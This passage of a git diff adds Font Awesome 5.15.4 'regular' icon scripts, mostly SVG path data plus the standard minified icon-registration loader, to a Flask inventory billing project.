42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z"], + "save": [448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z"], + "share-square": [576, 512, [], "f14d", "M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z"], + "smile": [496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z"], + "smile-beam": [496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z"], + "smile-wink": [496, 512, [], "f4da", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z"], + "snowflake": [448, 512, [], "f2dc", "M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z"], + "square": [448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z"], + "star": [576, 512, [], "f005", "M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z"], + "star-half": [576, 512, [], "f089", "M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z"], + "sticky-note": [448, 512, [], "f249", "M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z"], + "stop-circle": [512, 512, [], "f28d", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z"], + "sun": [512, 512, [], "f185", "M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z"], + "surprise": [496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "thumbs-down": [512, 512, [], "f165", "M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z"], + "thumbs-up": [512, 512, [], "f164", "M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"], + "times-circle": [512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z"], + "tired": [496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z"], + "trash-alt": [448, 512, [], "f2ed", "M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z"], + "user": [448, 512, [], "f007", "M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z"], + "user-circle": [496, 512, [], "f2bd", "M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z"], + "window-close": [512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z"], + "window-maximize": [512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z"], + "window-minimize": [512, 512, [], "f2d1", "M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z"], + "window-restore": [512, 512, [], "f2d2", "M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z"] + }; + + bunker(function () { + defineIcons('far', icons); + }); + +}()); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.min.js new file mode 100644 index 00000000..868de0d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/regular.min.js @@ -0,0 +1,210 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +!function() { + "use strict"; + var c = {}, z = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (z = document); + } catch (c) {} + var h = (c.navigator || {}).userAgent, l = void 0 === h ? "" : h, v = c, m = z, s = (v.document, + !!m.documentElement && !!m.head && "function" == typeof m.addEventListener && m.createElement, + ~l.indexOf("MSIE") || l.indexOf("Trident/"), "___FONT_AWESOME___"), M = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var a = v || {}; + a[s] || (a[s] = {}), a[s].styles || (a[s].styles = {}), a[s].hooks || (a[s].hooks = {}), + a[s].shims || (a[s].shims = []); + var H = a[s]; + function V(c, l) { + var z = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, h = void 0 !== z && z, v = Object.keys(l).reduce(function(c, z) { + var h = l[z]; + return !!h.icon ? c[h.iconName] = h.icon : c[z] = h, c; + }, {}); + "function" != typeof H.hooks.addPack || h ? H.styles[c] = function(v) { + for (var c = 1; c < arguments.length; c++) { + var m = null != arguments[c] ? arguments[c] : {}, z = Object.keys(m); + "function" == typeof Object.getOwnPropertySymbols && (z = z.concat(Object.getOwnPropertySymbols(m).filter(function(c) { + return Object.getOwnPropertyDescriptor(m, c).enumerable; + }))), z.forEach(function(c) { + var z, h, l; + z = v, l = m[h = c], h in z ? Object.defineProperty(z, h, { + value: l, + enumerable: !0, + configurable: !0, + writable: !0 + }) : z[h] = l; + }); + } + return v; + }({}, H.styles[c] || {}, v) : H.hooks.addPack(c, v), "fas" === c && V("fa", l); + } + var e = { + "address-book": [ 448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" ], + "address-card": [ 576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z" ], + angry: [ 496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z" ], + "arrow-alt-circle-down": [ 512, 512, [], "f358", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z" ], + "arrow-alt-circle-left": [ 512, 512, [], "f359", "M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z" ], + "arrow-alt-circle-right": [ 512, 512, [], "f35a", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z" ], + "arrow-alt-circle-up": [ 512, 512, [], "f35b", "M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z" ], + bell: [ 448, 512, [], "f0f3", "M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z" ], + "bell-slash": [ 640, 512, [], "f1f6", "M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" ], + bookmark: [ 384, 512, [], "f02e", "M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z" ], + building: [ 448, 512, [], "f1ad", "M128 148v-40c0-6.6 5.4-12 